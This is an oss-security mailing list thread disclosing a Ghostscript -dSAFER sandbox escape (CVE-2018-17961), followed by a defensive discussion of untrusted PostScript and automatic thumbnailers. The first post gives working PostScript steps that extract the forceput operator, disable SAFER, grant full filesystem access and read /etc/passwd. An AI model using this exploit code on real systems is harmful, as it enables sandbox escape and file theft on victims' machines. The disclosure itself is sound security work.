[oss-security] ghostscript: bypassing executeonly to escape -dSAFER sandbox (CVE-2018-17961)

[Tavis Ormandy]

Hello, this <https://bugs.chromium.org/p/project-zero/issues/detail?id=1682> is
another ghostscript -dSAFER sandbox escape that worked in HEAD up until
recently, and probably all ghostscript versions still in use (I didn't
check exactly how far back, but a long time).

Full working exploit that works in the last few versions is attached,
viewing it in evince, imagemagick, gimp, okular, etc should add a line to
~/.bashrc. Because nautilus will automatically invoke evince-thumbnailer
without any user-interaction, just browsing a website is enough to trigger
the vulnerability in some common configurations.

***@ubuntu:~$ convert exploit.jpg output.jpg
***@ubuntu:~$ tail -1 ~/.bashrc
echo pwned by postscript

Good news: If your distro ships gnome-desktop 3.25.90 or later and wasn't
bananas enough to disable sandboxing (yes, some are really doing that), I
don't know of any way to trigger automatic exploitation. If you open the
file manually, you're still in trouble though.

BACKGROUND

One of the core access control features in postscript is the ability to
mark procedures executeonly, this prevents users from peeking inside system
routines and getting references to powerful operators they shouldn't have
access to. I have a full description of how this mechanism works, but
release of that description is blocking on some other embargoed issues. It
should be available here
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1675>
eventually (please
forgive this minor violation of list rules).

Until recently you could install an error handler in errordict
<https://atrey.karlin.mff.cuni.cz/~milanek/PostScript/Reference/PSL2e.html#errordict>
and if you cause an executeonly procedure to stop ("stop" is the postscript
term for "throw an exception"), that would expose the faulting operator to
the error handler. That is no longer possible, because errordict is now
ignored in the -dSAFER sandbox (that was CVE-2018-17183
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17183>).

DETAILS

Unfortunately, the fix was incomplete, because you could still make the
invocation of the errorhandler itself fail, or access the saved
errorhandler internal state.

One way to exploit this is to find an executeonly procedure that can stop,
trigger an exception and then make calling the errorhandler stop
(/stackoverflow or /execoverflow will do). When that fails the operand
stack is left in an inconsistent state, because ghostscript was trying to
set up the errorhandler but failed.

Here is how to exploit it:

% first, fill up the stack with junk so there is only a tiny bit of room
for the errorhandler
GS>0 1 300368 {} for

% We can make /switch_to_normal_marking_ops fail by making pdfopdict a
non-dictionary
GS<300369>/pdfopdict null def

% call /switch_to_normal_marking_ops (which is executeonly)
GS<300369>GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

% that failed because of /typecheck writing to pdfopdict
GS<2>==
true

% And if we look at the last few elements of the saved stack...
GS<1>dup dup length 10 sub 10 getinterval ==
[300364 300365 300366 300367 300368 null /m {normal_m} --.forceput--
/typecheck]

% The failed operator is on there ready to be passed to the errorhandler.

forceput is a very powerful operator that ignores all access controls, we
can extract it from the stack, and then do whatever we like.

% Lets disable SAFER and give ourselves access to the whole filesystem
(including .bashrc, ssh keys, chrome cookies, everything)
systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput

Putting it all together, here is reading /etc/passwd just to demo:

$ gs -dSAFER -f test.ps
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
(root:x:0:0:root:/root:/bin/bash)

The fix is public now, here are the necessary commit:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

p.s. plz can we deprecate untrusted postscript :(

[Leonid Isaev]

Post by Tavis Ormandy
Full working exploit that works in the last few versions is attached,
viewing it in evince, imagemagick, gimp, okular, etc should add a line to
~/.bashrc.

Add zathura to the above list :)

Post by Tavis Ormandy
p.s. plz can we deprecate untrusted postscript :(

Which means any postscript file downloaded from the internet... Then how should
people read arXiv.org, for example?

Thanks,
L.

[Tavis Ormandy]

Post by Leonid Isaev

Post by Tavis Ormandy
Full working exploit that works in the last few versions is attached,
viewing it in evince, imagemagick, gimp, okular, etc should add a line to
~/.bashrc.

Add zathura to the above list :)

Post by Tavis Ormandy
p.s. plz can we deprecate untrusted postscript :(

Which means any postscript file downloaded from the internet... Then how should
people read arXiv.org, for example?

I think we should encourage switching to other document formats that we
have a better handle on securing. If you do need untrusted ps, I think
treating it the same as shell script file you downloaded from the internet.

I mean, technically there's a bash restricted mode and python rexec, but
you probably wouldn't run it on random things you just downloaded.

gs -dSAFER and bash -r are useful features, but I think ever invoking them
automatically without prompts about trust, etc, is just asking for trouble.

Tavis.

[Bob Friesenhahn]

Post by Tavis Ormandy
I think we should encourage switching to other document formats that we
have a better handle on securing. If you do need untrusted ps, I think
treating it the same as shell script file you downloaded from the internet.

Due to its valuable current usages (e.g. printing and format
conversion) and its long legacy, Postscript is still a vital format to
support in open source software.

How can software consuming Postscript be aware of its origin unless it
is known to be produced directly by another application?

Edge applications such as web browsers may be able to help by adding
warning dialogs when knowingly downloading Postscript content.

Bob

[Perry E. Metzger]

On Tue, 9 Oct 2018 17:14:45 -0500 (CDT) Bob Friesenhahn

Post by Bob Friesenhahn

Post by Tavis Ormandy
I think we should encourage switching to other document formats
that we have a better handle on securing. If you do need
untrusted ps, I think treating it the same as shell script file
you downloaded from the internet.

Due to its valuable current usages (e.g. printing and format
conversion) and its long legacy, Postscript is still a vital format
to support in open source software.
How can software consuming Postscript be aware of its origin unless
it is known to be produced directly by another application?
Edge applications such as web browsers may be able to help by
adding warning dialogs when knowingly downloading Postscript
content.

I keep wondering if there isn't a way to fully remove the dangerous
bits from a postscript interpreter so it can _only_ be used to view
the document and literally has no file system access compiled in at
all, so there's no way to touch the fs etc. regardless of what flags
the interpreter is invoked with.

(I, too, find removing the ability to look at historical postscript
documents a bit more draconian than I like.)

Perry

[Tavis Ormandy]

Post by Perry E. Metzger
I keep wondering if there isn't a way to fully remove the dangerous
bits from a postscript interpreter so it can _only_ be used to view
the document and literally has no file system access compiled in at
all, so there's no way to touch the fs etc. regardless of what flags
the interpreter is invoked with.
(I, too, find removing the ability to look at historical postscript
documents a bit more draconian than I like.)

I've discussed it with upstream, it's a hard no because they feel it would
make ghostscript non-conforming (i.e. non-conforming with the Adobe
PostScript Language Reference Manual)

We probably have similar thoughts on this, but that is the final word from
upstream.

Tavis.

[Alex Gaynor]

Would they consider making a build-time "safe PS only" flag that ensured it
was compiled without things like shell-invocation? Then we could just try
to convince Linux distros to package it that way :-)

Alex

Post by Tavis Ormandy

Post by Perry E. Metzger
I keep wondering if there isn't a way to fully remove the dangerous
bits from a postscript interpreter so it can _only_ be used to view
the document and literally has no file system access compiled in at
all, so there's no way to touch the fs etc. regardless of what flags
the interpreter is invoked with.
(I, too, find removing the ability to look at historical postscript
documents a bit more draconian than I like.)

I've discussed it with upstream, it's a hard no because they feel it would
make ghostscript non-conforming (i.e. non-conforming with the Adobe
PostScript Language Reference Manual)
We probably have similar thoughts on this, but that is the final word from
upstream.
Tavis.

[Doran Moppert]

Given the number of eyes & hours on these issues my question has to be
naive, so I apologise, but couldn't seccomp provide a safe "safe mode"
relatively easily? What syscalls does legit ghostscript need once the
input and output streams are open?

Post by Alex Gaynor
Would they consider making a build-time "safe PS only" flag that ensured it
was compiled without things like shell-invocation? Then we could just try
to convince Linux distros to package it that way :-)
Alex

Post by Tavis Ormandy

Post by Perry E. Metzger
I keep wondering if there isn't a way to fully remove the dangerous
bits from a postscript interpreter so it can _only_ be used to view
the document and literally has no file system access compiled in at
all, so there's no way to touch the fs etc. regardless of what flags
the interpreter is invoked with.
(I, too, find removing the ability to look at historical postscript
documents a bit more draconian than I like.)

I've discussed it with upstream, it's a hard no because they feel it would
make ghostscript non-conforming (i.e. non-conforming with the Adobe
PostScript Language Reference Manual)
We probably have similar thoughts on this, but that is the final word from
upstream.
Tavis.

[Perry E. Metzger]

On Tue, Oct 9, 2018 at 3:27 PM Perry E. Metzger

Post by Perry E. Metzger
I keep wondering if there isn't a way to fully remove the
dangerous bits from a postscript interpreter so it can _only_ be
used to view the document and literally has no file system access
compiled in at all, so there's no way to touch the fs etc.
regardless of what flags the interpreter is invoked with.
(I, too, find removing the ability to look at historical
postscript documents a bit more draconian than I like.)

I've discussed it with upstream, it's a hard no because they feel
it would make ghostscript non-conforming (i.e. non-conforming with
the Adobe PostScript Language Reference Manual)
We probably have similar thoughts on this, but that is the final
word from upstream.

They wouldn't even support a compilation mode where if you #define
the right thing those syscalls are cut out?

I don't care much about upstream's desires on this if they oppose
that. I'd be happy to have patches that simply cut out the dangerous
syscalls entirely. It's open source, that should be feasible.

Perry

[Rich Felker]

Post by Perry E. Metzger

On Tue, Oct 9, 2018 at 3:27 PM Perry E. Metzger

Post by Perry E. Metzger
I keep wondering if there isn't a way to fully remove the
dangerous bits from a postscript interpreter so it can _only_ be
used to view the document and literally has no file system access
compiled in at all, so there's no way to touch the fs etc.
regardless of what flags the interpreter is invoked with.
(I, too, find removing the ability to look at historical
postscript documents a bit more draconian than I like.)

I've discussed it with upstream, it's a hard no because they feel
it would make ghostscript non-conforming (i.e. non-conforming with
the Adobe PostScript Language Reference Manual)
We probably have similar thoughts on this, but that is the final
word from upstream.

They wouldn't even support a compilation mode where if you #define
the right thing those syscalls are cut out?
I don't care much about upstream's desires on this if they oppose
that. I'd be happy to have patches that simply cut out the dangerous
syscalls entirely. It's open source, that should be feasible.

This. It's utterly ridiculous that the interpreter even has bindings
for accessing the filesystem and such. But I wonder if some of its
library routines (e.g. font loading) are implemented in Postscript,
using these bindings, rather than being implemented in C outside of
the language interpreter. If so it might be harder to extricate. But I
still think it's worthwhile to try. Once there are patches I would
expect all reasonable distros to start shipping with them, and if
upstream tries to make it hard, I would expect one of the big distros
to just fork and abandon upstream.

Rich

[Perry E. Metzger]

Post by Rich Felker

Post by Perry E. Metzger

Post by Tavis Ormandy

Post by Perry E. Metzger
I keep wondering if there isn't a way to fully remove the
dangerous bits from a postscript interpreter so it can _only_
be used to view the document and literally has no file system
access compiled in at all, so there's no way to touch the fs
etc. regardless of what flags the interpreter is invoked with.
(I, too, find removing the ability to look at historical
postscript documents a bit more draconian than I like.)

I've discussed it with upstream, it's a hard no because they
feel it would make ghostscript non-conforming (i.e.
non-conforming with the Adobe PostScript Language Reference
Manual)
We probably have similar thoughts on this, but that is the final
word from upstream.

They wouldn't even support a compilation mode where if you #define
the right thing those syscalls are cut out?
I don't care much about upstream's desires on this if they oppose
that. I'd be happy to have patches that simply cut out the
dangerous syscalls entirely. It's open source, that should be
feasible.

This. It's utterly ridiculous that the interpreter even has bindings
for accessing the filesystem and such. But I wonder if some of its
library routines (e.g. font loading) are implemented in Postscript,
using these bindings, rather than being implemented in C outside of
the language interpreter. If so it might be harder to extricate.
But I still think it's worthwhile to try. Once there are patches I
would expect all reasonable distros to start shipping with them,
and if upstream tries to make it hard, I would expect one of the
big distros to just fork and abandon upstream.

Does anyone other than Tavis know their way around the inside of the
codebase? Perhaps we can collaborate on patches.

Perry

[Rich Felker]

Post by Perry E. Metzger

Post by Rich Felker

Post by Perry E. Metzger

Post by Tavis Ormandy

Post by Perry E. Metzger
I keep wondering if there isn't a way to fully remove the
dangerous bits from a postscript interpreter so it can _only_
be used to view the document and literally has no file system
access compiled in at all, so there's no way to touch the fs
etc. regardless of what flags the interpreter is invoked with.
(I, too, find removing the ability to look at historical
postscript documents a bit more draconian than I like.)

I've discussed it with upstream, it's a hard no because they
feel it would make ghostscript non-conforming (i.e.
non-conforming with the Adobe PostScript Language Reference
Manual)
We probably have similar thoughts on this, but that is the final
word from upstream.

They wouldn't even support a compilation mode where if you #define
the right thing those syscalls are cut out?
I don't care much about upstream's desires on this if they oppose
that. I'd be happy to have patches that simply cut out the
dangerous syscalls entirely. It's open source, that should be
feasible.

This. It's utterly ridiculous that the interpreter even has bindings
for accessing the filesystem and such. But I wonder if some of its
library routines (e.g. font loading) are implemented in Postscript,
using these bindings, rather than being implemented in C outside of
the language interpreter. If so it might be harder to extricate.
But I still think it's worthwhile to try. Once there are patches I
would expect all reasonable distros to start shipping with them,
and if upstream tries to make it hard, I would expect one of the
big distros to just fork and abandon upstream.

Does anyone other than Tavis know their way around the inside of the
codebase? Perhaps we can collaborate on patches.

I don't, but one further idea that might appeal to upstream if they
want the fs bindings for the sake of executing ancient programs
written in postscript that operate on files: rather than binding to
actual fs operations on the host, implement a virtual filesystem
within the interpreter, and require explicit command line options to
import/export files from/to the real filesystem at entry/exit.

Rich

[Hanno Böck]

Hi,

On Tue, 9 Oct 2018 09:30:06 -0600

Post by Leonid Isaev
Which means any postscript file downloaded from the internet... Then
how should people read arXiv.org, for example?

Surprised by this claim I did a quick check on arxiv. I don't see any
papers that are only available as postscript. All papers seem to be
available as PDF, some additionally as PS.

Which also makes sense: Many browsers support direct PDF display. While
PDF is also a complex format with pitfalls I'd still trust the
in-browser PDF readers much more than something like ghostscript.

If there are sites that rely on PS documents they should probably be
encouraged to do a server-side sandboxed auto-conversion of them and
offer PDF also.

[Eddie Chapman]

Post by Tavis Ormandy
Because nautilus will automatically invoke
evince-thumbnailer without any user-interaction, just browsing a website
is enough to trigger the vulnerability in some common configurations.

While the vulnerability in ghostscript itself is clear in this thread,
does anyone have any more info on the above aspect of this? i.e is the
above scenario (inadvertently running postscript, perhaps contained in
an image, through ghostscript by just browsing a malicious site) limited
to just nautilus in gnome environments? Do other browsers/environments
handle this better or do they do similar? It seems that, strictly
speaking, the "critical" nature of this vulnerability hinges on the
behaviour of the browser/desktop environment. Otherwise the scope is
limited to an individual manually downloading a postscript file and
opening it outside of the browser.

Apologies if I'm missing anything obvious or if this has been covered
elsewhere online.

[Hanno Böck]

On Wed, 10 Oct 2018 10:10:58 +0100

Post by Eddie Chapman
While the vulnerability in ghostscript itself is clear in this
thread, does anyone have any more info on the above aspect of this?
i.e is the above scenario (inadvertently running postscript, perhaps
contained in an image, through ghostscript by just browsing a
malicious site) limited to just nautilus in gnome environments? Do
other browsers/environments handle this better or do they do similar?
It seems that, strictly speaking, the "critical" nature of this
vulnerability hinges on the behaviour of the browser/desktop
environment. Otherwise the scope is limited to an individual manually
downloading a postscript file and opening it outside of the browser.

evince installs a thumbnail entry to
/usr/share/thumbnailers

This is a generic location where applications can install files (I
believe they follow the .desktop specification, which is an ini-based
format). This is thus not nautilus-specific, but every filemanager that
uses this format will be affected. A quick googling tells me e.g.
pcmanfm is also affected. I'm not sure if dolphin uses them as well.

Nautilus is trying to solve this by sandboxing the thumbnailers.
However this depends on bubblewrap and is currently fail-open, i.e. if
bubblewrap is not available it will not disable the thumbnailing, it
will just not sandbox it. In practice this means it's often not
sandboxed. I doubt this will change any time soon.

Very similar problems show up with desktop search tools.

I think this whole concept is questionable and should be reviewed. I
think it's not desirable to have thumbnailers for all kinds of formats,
instead a more reasonable approach would be to limit thumbnailing to a
few widely used formats that have well-reviewed libraries (e.g. I don't
think that libjpeg or libpng will have any vulnerabilities left that are
even remotely as severe as the things tavis found in ghostscript).

[Hanno Böck]

On Wed, 10 Oct 2018 15:36:52 +0100

But I'm still unclear how "just browsing a website is enough to
trigger the vulnerability in some common configurations." Are we
talking about the user looking in their web browser cache directory
on the filesystem using Nautilus, and hence running malicious code
embedded in a cached file via the evince thumbnailer on opening that
directory? Or maybe Nautilus/Gnome automatically runs the thumbnailer
on every new file created in the user's home directory (via
inotify?), including whatever the browser saves in the background
(hopefully not)? Or is it just a case of the user opening a
downloaded file with evince and becoming a victim that way? Though
that is not exactly automatic, most browsers show a prompt asking
what to do with a downloaded file.

I don't know what exactly Tavis was referring to, but a scenario that
has been discussed in the past and likely is still possible in many
configurations is this:
Some browsers (notably chrome) will download files without asking in
their default configuration. So a site can make you download a file and
it ends up in your ~/Downloads dir.

Desktop search tools will automatically index that (tracker from gnome,
baloo from kde). So voila - you can fire up an exploit if you can
exploit anything that tracker or baloo support.

https://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html

Though I'm not sure if either of them uses ghostscript, a quick check
it seems that not. You still have the automatic download issue in
chrome, but you'd need to convince your user to open up ~/Downloads in
a file manager. That's a minor not-fully-automatic part, but I guess
it's plausible enough that users will eventually do that at some point.

[Emilio Pozuelo Monfort]

Post by Hanno Böck
On Wed, 10 Oct 2018 15:36:52 +0100

But I'm still unclear how "just browsing a website is enough to
trigger the vulnerability in some common configurations." Are we
talking about the user looking in their web browser cache directory
on the filesystem using Nautilus, and hence running malicious code
embedded in a cached file via the evince thumbnailer on opening that
directory? Or maybe Nautilus/Gnome automatically runs the thumbnailer
on every new file created in the user's home directory (via
inotify?), including whatever the browser saves in the background
(hopefully not)? Or is it just a case of the user opening a
downloaded file with evince and becoming a victim that way? Though
that is not exactly automatic, most browsers show a prompt asking
what to do with a downloaded file.

I don't know what exactly Tavis was referring to, but a scenario that
has been discussed in the past and likely is still possible in many
Some browsers (notably chrome) will download files without asking in
their default configuration. So a site can make you download a file and
it ends up in your ~/Downloads dir.
Desktop search tools will automatically index that (tracker from gnome,
baloo from kde). So voila - you can fire up an exploit if you can
exploit anything that tracker or baloo support.

tracker-extract / miners run in a sandbox these days. No idea about baloo.

https://bugzilla.gnome.org/show_bug.cgi?id=764786

Cheers,
Emilio

Post by Hanno Böck
https://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html
Though I'm not sure if either of them uses ghostscript, a quick check
it seems that not. You still have the automatic download issue in
chrome, but you'd need to convince your user to open up ~/Downloads in
a file manager. That's a minor not-fully-automatic part, but I guess
it's plausible enough that users will eventually do that at some point.

[Alan Coopersmith]

Post by Hanno Böck
Nautilus is trying to solve this by sandboxing the thumbnailers.
However this depends on bubblewrap and is currently fail-open, i.e. if
bubblewrap is not available it will not disable the thumbnailing, it
will just not sandbox it. In practice this means it's often not
sandboxed. I doubt this will change any time soon.

And bubblewrap is very specific to running on a Linux kernel, so users
of GNOME on top of other kernels are also left unprotected by it.

[Ian Zimmerman]

Post by Hanno Böck
evince installs a thumbnail entry to
/usr/share/thumbnailers
This is a generic location where applications can install files (I
believe they follow the .desktop specification, which is an ini-based
format). This is thus not nautilus-specific, but every filemanager that
uses this format will be affected. A quick googling tells me e.g.
pcmanfm is also affected. I'm not sure if dolphin uses them as well.

It seems to be a bug that this directory is under /usr/share, and not
under /etc where admins could modify it to selectively disable things. I
checked and there is no parallel /etc/thumbnailers directory to drop
overriding entries into - though maybe ~/.local/share/thumbnailers would
work? But already the fact that I have to guess is a bug :-(

By the way, on fedora the /usr/share/thumbnailers entry indeed does
belong to the evince package, but there is a separate evince-nautilus
package and its description says:

: This package contains the evince extension for the nautilus file manager.
: It adds an additional tab called "Document" to the file properties dialog.

Do you think that removing evince-nautilus would eliminate the nautilus
attack vector at least?

[Brandon Perry]

Post by Hanno Böck
On Wed, 10 Oct 2018 10:10:58 +0100

Post by Eddie Chapman
While the vulnerability in ghostscript itself is clear in this
thread, does anyone have any more info on the above aspect of this?
i.e is the above scenario (inadvertently running postscript, perhaps
contained in an image, through ghostscript by just browsing a
malicious site) limited to just nautilus in gnome environments? Do
other browsers/environments handle this better or do they do similar?
It seems that, strictly speaking, the "critical" nature of this
vulnerability hinges on the behaviour of the browser/desktop
environment. Otherwise the scope is limited to an individual manually
downloading a postscript file and opening it outside of the browser.

evince installs a thumbnail entry to
/usr/share/thumbnailers
This is a generic location where applications can install files (I
believe they follow the .desktop specification, which is an ini-
based
format). This is thus not nautilus-specific, but every filemanager that
uses this format will be affected. A quick googling tells me e.g.
pcmanfm is also affected. I'm not sure if dolphin uses them as well.
Nautilus is trying to solve this by sandboxing the thumbnailers.
However this depends on bubblewrap and is currently fail-open, i.e. if
bubblewrap is not available it will not disable the thumbnailing, it
will just not sandbox it. In practice this means it's often not
sandboxed. I doubt this will change any time soon.
Very similar problems show up with desktop search tools.
I think this whole concept is questionable and should be reviewed. I
think it's not desirable to have thumbnailers for all kinds of formats,
instead a more reasonable approach would be to limit thumbnailing to a
few widely used formats that have well-reviewed libraries (e.g. I don't
think that libjpeg or libpng will have any vulnerabilities left that are
even remotely as severe as the things tavis found in ghostscript).

Ah OK, I got confused (having not used gnome or nautilus for a long
time) of what exactly Nautilus' role is here. Because Tavis
mentioned
web browsing and nautilus together in my mind I was thinking
nautilus
was the web browser here forgot it's a file manager :-)
But I'm still unclear how "just browsing a website is enough to
trigger
the vulnerability in some common configurations." Are we talking
about
the user looking in their web browser cache directory on the
filesystem
using Nautilus, and hence running malicious code embedded in a
cached
file via the evince thumbnailer on opening that directory? Or maybe
Nautilus/Gnome automatically runs the thumbnailer on every new file
created in the user's home directory (via inotify?), including
whatever
the browser saves in the background (hopefully not)? Or is it just a
case of the user opening a downloaded file with evince and becoming
a
victim that way? Though that is not exactly automatic, most browsers
show a prompt asking what to do with a downloaded file.

A whole ago, there was a vuln in Evince in how it handled comic book
files.

https://vuldb.com/?id.106116

By default, nautilus renders a thumbnail of media if it is possible,
and evince can render a thumbnail of the first image in the comic book
simply by browsing to the Downloads directory.

If a malicious comic book were downloaded but not opened, then I opened
my Downloads directory, rendering the comic book thumbnail would cause
the payload to be executed in the context of the user opening Nautilus.

This same technique would apply here since Nautilus can use ghostscript
to render a thumbnail preview of a PS file.

So, still slightly confused, how one can become a victim here just
browsing a website. It's probably obvious to everyone but I'm not
getting it having always run a quite minimal desktop for years
(currently a mixture of Awesome window manager + some Mate elements,
caja file manager) .... Or maybe no-one wants to spell it out so as
not
to give the bad guys any free tips. So feel free to ignore me if
it's
either of those :-)

[Leo Famulari]

Post by Tavis Ormandy
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

Thanks. Does anyone have a patch or patch series that applies to a
released version of Ghostscript? It's difficult to figure out how to
safely adapt these patches to either Ghostscript 9.24 or 9.25.

[Tavis Ormandy]

Post by Tavis Ormandy
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

A small update, one of these commits was to mark all procedures that use
dangerous operators as operators themselves. The idea is that error
handlers will only see the top-level operator and not any sub-operators (I
know, this is getting complicated).

I noticed a procedure upstream missed, .loadfontloop. Upstream have double
checked if there were any others, and I did too - we think that is all of
them.

So this commit is necessary as well:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a5a9bf8c6a63

Thanks, Tavis.